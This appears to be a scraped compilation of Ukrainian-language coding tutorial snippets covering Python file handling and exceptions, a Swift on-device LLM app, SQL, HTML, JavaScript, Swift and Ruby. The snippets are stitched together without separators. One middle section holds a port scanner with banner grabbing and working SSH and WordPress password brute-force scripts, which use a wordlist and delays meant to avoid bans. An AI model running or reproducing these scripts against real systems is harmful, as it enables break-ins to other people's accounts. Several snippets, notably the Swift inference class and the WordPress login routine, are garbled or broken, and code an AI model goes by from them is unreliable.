# Запис (write) — створює файл, якщо його немає
with open("example.txt", "w", encoding="utf-8") as file:
file.write("Привіт, Python!\n")
file.write("Це другий рядок.\n")
file.writelines(["Третій рядок\n", "Четвертий рядок\n"])
# Дописування (append)
with open("example.txt", "a", encoding="utf-8") as file:
file.write("Новий доданий рядок.\n")
# Читання (read)
with open("example.txt", "r", encoding="utf-8") as file:
content = file.read() # читає все
print(content)
# Альтернативи
# file.seek(0) # повернутися на початок
# lines = file.readlines() # список рядків
# for line in file: # ітерація по рядках (економить пам'ять)
# print(line.strip())import csv
# Запис
with open("data.csv", "w", newline="", encoding="utf-8") as file:
writer = csv.writer(file)
writer.writerow(["Ім'я", "Вік", "Місто"])
writer.writerow(["Андрій", 30, "Київ"])
writer.writerows([["Олена", 25, "Львів"], ["Максим", 35, "Одеса"]])
# Читання
with open("data.csv", "r", encoding="utf-8") as file:
reader = csv.reader(file)
for row in reader:
print(row)
# DictReader / DictWriter (з заголовками)
with open("data.csv", "r", encoding="utf-8") as file:
reader = csv.DictReader(file)
for row in reader:
print(row["Ім'я"], row["Вік"])import json
# Запис словника в JSON
data = {
"users": [
{"name": "Гакан", "age": 28},
{"name": "Зейнеп", "age": 32}
]
}
with open("data.json", "w", encoding="utf-8") as file:
json.dump(data, file, ensure_ascii=False, indent=4) # українські символи
# Читання JSON
with open("data.json", "r", encoding="utf-8") as file:
loaded = json.load(file)
print(loaded["users"][0]["name"]) # Гаканwith open("example.jpg", "rb") as source:
with open("copy.jpg", "wb") as target:
target.write(source.read())from pathlib import Path
file_path = Path("example.txt")
print(file_path.exists()) # чи існує?
print(file_path.read_text(encoding="utf-8")) # читання
file_path.write_text("Новий вміст", encoding="utf-8") # запис
folder = Path("new_folder")
folder.mkdir(exist_ok=True) # створює папкуtry:
number = int(input("Введіть число: "))
result = 100 / number
except ZeroDivisionError:
print("На нуль ділити не можна!")
except ValueError:
print("Будь ласка, введіть коректне число!")
except Exception as e: # загальна помилка
print(f"Несподівана помилка: {e}")
else:
print(f"Результат: {result}") # виконується, якщо немає помилки
finally:
print("Операцію завершено.") # завжди виконуєтьсяdef age_check(age):
if age < 0:
raise ValueError("Вік не може бути від'ємним!")
return age
try:
age_check(-5)
except ValueError as error:
print(error) # Вік не може бути від'ємним!class NegativeAgeError(Exception):
pass
def age_check(age):
if age < 0:
raise NegativeAgeError("Вік не може бути від'ємним!")
try:
age_check(-10)
except NegativeAgeError as error:
print(error)def read_file(filename):
try:
with open(filename, "r", encoding="utf-8") as file:
return file.read()
except FileNotFoundError:
print(f"Файл {filename} не знайдено!")
return None
except PermissionError:
print("Немає прав на читання файлу!")
return None
except Exception as e:
print(f"Помилка: {e}")
return None
content = read_file("no_file.txt")
if content:
print(content)import logging
logging.basicConfig(filename="errors.log", level=logging.ERROR)
logging.error("Сталася помилка!")pip install mlx mlx_lm coremltools transformersfrom mlx_lm import load, quantize
import coremltools as ct
# MLX з завантаженням та квантизацією (опціонально, щоб було менше)
model, tokenizer = load("microsoft/Phi-3-mini-4k-instruct")
# Перетворення на Core ML (легкий спосіб з mlx_lm)
# Альтернатива: huggingface-cli download microsoft/Phi-3-mini-4k-instruct
# Потім перетворіть з coremltoolsimport Foundation
import CoreML
import MLX
import MLXLLM // З пакету MLX Swift
@Observable class LLMInference {
private var model: LLMModel?
private var tokenizer: Tokenizer?
var isLoading = true
var error: Error?
init() {
Task { await loadModel() }
}
private func loadModel() async {
do {
guard let modelURL = Bundle.main.url(forResource: "Phi3Mini", withExtension: "mlmodel") else { throw NSError(domain: "Модель не знайдено", code: -1) }
let config = MLModelConfiguration()
config.computeUnits = .all // Neural Engine + GPU + CPU
let mlModel = try MLModel(contentsOf: modelURL, configuration: config) // Обгортка з MLX або прямий інференс Core ML
// Альтернатива з MLX (більш гнучка)
// let (mlxModel, mlxTokenizer) = try await loadModelFromBundle("...")
// клас обгортки
self.tokenizer = ...
self.isLoading = false
} catch {
self.error = error
self.isLoading = false
}
}
func generate(prompt: String, maxTokens: Int = 200) async throws -> String {
guard let model, let tokenizer else { throw NSError(domain: "Модель не знайдено", code: -1) }
// Простий цикл інференсу (в реальності повинен підтримувати стримінг)
let inputTokens = tokenizer.encode(text: prompt)
var outputTokens = inputTokens
for _ in 0..<maxTokens {
let logits = try await model.predict(input: outputTokens)
let nextToken = logits.argmax()
outputTokens.append(nextToken)
if nextToken == tokenizer.eosTokenId { break }
}
return tokenizer.decode(tokens: outputTokens)
}
}import AppIntents
struct AnswerQuestionIntent: AppIntent {
static var title: LocalizedStringResource = "Відповісти на Запитання Локальним ШІ"
@Parameter(title: "Запитання")
var question: String
func perform() async throws -> some IntentResult & ReturnsValue<String> {
let inference = LLMInference() // Чекати завантаження моделі (в реальності зробіть singleton)
try await Task.sleep(for: .seconds(2))
let response = try await inference.generate(prompt: question)
return .result(value: response)
}
}struct ContentView: View {
@State private var inference = LLMInference()
@State private var prompt = ""
@State private var response = ""
@State private var isGenerating = false
var body: some View {
NavigationStack {
VStack(spacing: 20) {
if inference.isLoading {
ProgressView("Завантаження локальної моделі...")
} else if let error = inference.error {
Text("Помилка: \(error.localizedDescription)")
.foregroundStyle(.red)
} else {
TextEditor(text: $prompt)
.frame(height: 120)
.border(Color.gray.opacity(0.3))
.padding()
Button("Генерувати Локальним ШІ") {
Task {
isGenerating = true
do {
response = try await inference.generate(prompt: prompt)
} catch {
response = "Помилка: \(error.localizedDescription)"
}
isGenerating = false
}
}
.buttonStyle(.borderedProminent)
.disabled(isGenerating || prompt.isEmpty)
if isGenerating {
ProgressView()
}
ScrollView {
Text(response)
.frame(maxWidth: .infinity, alignment: .leading)
.padding()
}
}
}
.padding()
.navigationTitle("Локальний ШІ-Асистент")
}
}
}python -m venv cybertools
cd cybertools
Scripts\activate
pip install asyncio aiohttp paramiko python-nmap requests beautifulsoup4import asyncio
import socket
from concurrent.futures import ThreadPoolExecutor
async def scan_port(host: str, port: int, timeout: float = 1.0) -> dict:
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(host, port),
timeout=timeout
)
writer.close()
await writer.wait_closed()
# Захоплення банера
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
sock.connect((host, port))
sock.send(b'\r\n')
banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
sock.close()
except:
banner = ""
return {"port": port, "status": "open", "banner": banner[:100]}
except:
return {"port": port, "status": "closed", "banner": ""}
async def scan_range(host: str, start: int, end: int, max_workers: int = 1000):
print(f"{host} сканується... Порти: {start}-{end}")
semaphore = asyncio.Semaphore(max_workers)
async def sem_scan(port):
async with semaphore:
return await scan_port(host, port)
tasks = [sem_scan(port) for port in range(start, end + 1)]
results = await asyncio.gather(*tasks)
open_ports = [r for r in results if r["status"] == "open"]
for result in open_ports:
print(f"Порт {result['port']} -> ВІДКРИТИЙ | {result['banner']}")
return open_ports
# Використання
if __name__ == "__main__":
target = "192.168.1.1" # ВАШ ВЛАСНИЙ СЕРВЕР
asyncio.run(scan_range(target, 1, 65535)) # або поширені порти
# asyncio.run(scan_range(target, 1, 1024))import asyncio
import paramiko
import requests
from bs4 import BeautifulSoup
import random
# Brute force для SSH
async def try_ssh(host, port, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, port=port, username=username, password=password, timeout=10)
print(f"УСПІХ → {username} : {password}")
return True
except:
return False
finally:
ssh.close()
# Brute force для WordPress
async def try_wordpress(url, username, password):
session = requests.Session()
login_page = session.get(f"{url}/wp-login.php")
soup = BeautifulSoup(login_page.text, 'html.parser')
nonce = soup.find("input", {"name": "woocommerce-login-nonce"}) or soup.find("input", {"name": "wp-submit"})
# Припустимо, що data формується правильно (адаптуйте за потребою)
data = {
"log": username,
"pwd": password,
"wp-submit": "Giriş Yap" # Адаптуйте для української/турецької
}
response = session.post(f"{url}/wp-login.php", data=data, allow_redirects=True)
if response.status_code == 302 or "dashboard" in response.url:
print(f"WP УСПІХ -> {username} : {password}")
return True
return False
# Головна функція для SSH
async def brute_force_ssh(host="192.168.1.1", port=22):
usernames = ["root", "admin", "user", "test"]
with open("wordlist_2025.txt", "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f.readlines()][:1000]
for user in usernames:
for pwd in passwords:
if await try_ssh(host, port, user, pwd):
return
await asyncio.sleep(random.uniform(1, 3)) # Анти-бан
# Список слів (rockyou 2025 турецькою)
# https://github.com/kullanicin/wordlist-turkiye-2025using System;
class Program
{
static void Main()
{
string message = "Привіт, C#!";
Console.WriteLine(message);
}
}
using System.Windows;
using System.Windows.Controls;
namespace WpfApp
{
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
Button button = new Button { Content = "Натисни мене" };
button.Click += (s, e) => MessageBox.Show("Кнопка натиснута!");
this.Content = button;
}
}
}
SELECT, INSERT чи UPDATE, які легко освоїти.SELECT, INSERT, UPDATE і DELETE. Ось приклад простого запиту:SELECT * FROM users WHERE age > 18;
users, яким більше 18 років.JOIN), агрегатні функції (COUNT, SUM) і підзапити.SELECT department, COUNT(*) as employee_count
FROM employees
GROUP BY department;
.html і можуть відкриватися в будь-якому браузері. Ось приклад простої сторінки:<!DOCTYPE html>
<html lang="uk">
<head>
<meta charset="UTF-8">
<title>Моя перша сторінка</title>
</head>
<body>
<h1>Вітаємо у світі HTML!</h1>
<p>Це мій перший веб-сайт.</p>
</body>
</html>
<div>, <p>, <a>, <img> та <h1>.<header>, <footer>, <article>) і елементи для мультимедіа (<video>, <audio>).<!DOCTYPE html>
<html lang="uk">
<head>
<meta charset="UTF-8">
<title>Простий приклад</title>
</head>
<body>
<h2>Ласкаво просимо!</h2>
<a href="https://vagfo[dot]com">Відвідайте наш форум</a>
</body>
</html>
x = 0:0.1:2*pi;
y = sin(x);
plot(x, y);
title('Синусоїда');
xlabel('x');
ylabel('sin(x)');
[X, Y] = meshgrid(-2:0.2:2);
Z = X.^2 + Y.^2;
surf(X, Y, Z);
title('3D Поверхня');
let message = "Привіт, JavaScript!";
alert(message);
document.getElementById("myButton").addEventListener("click", function() {
document.getElementById("myText").innerText = "Ви натиснули кнопку!";
});
let button = document.createElement("button");
button.innerText = "Натисни мене";
button.style.backgroundColor = "blue";
button.style.color = "white";
document.body.appendChild(button);
let greeting = "Привіт, Swift!"
print(greeting)
import SwiftUI
struct ContentView: View {
var body: some View {
Button("Натисни мене") {
print("Кнопка натиснута!")
}
}
}
import SwiftUI
struct ContentView: View {
@State private var message = "Вітаємо!"
var body: some View {
VStack {
Text(message)
Button("Змінити повідомлення") {
message = "Swift – це круто!"
}
}
}
}
name = "Світ"
puts "Привіт, #{name}!"
class WelcomeController < ApplicationController
def index
@message = "Вітаємо у Ruby on Rails!"
end
end
text = "Ruby – це просто!"
words = text.split
puts "Кількість слів: #{words.length}"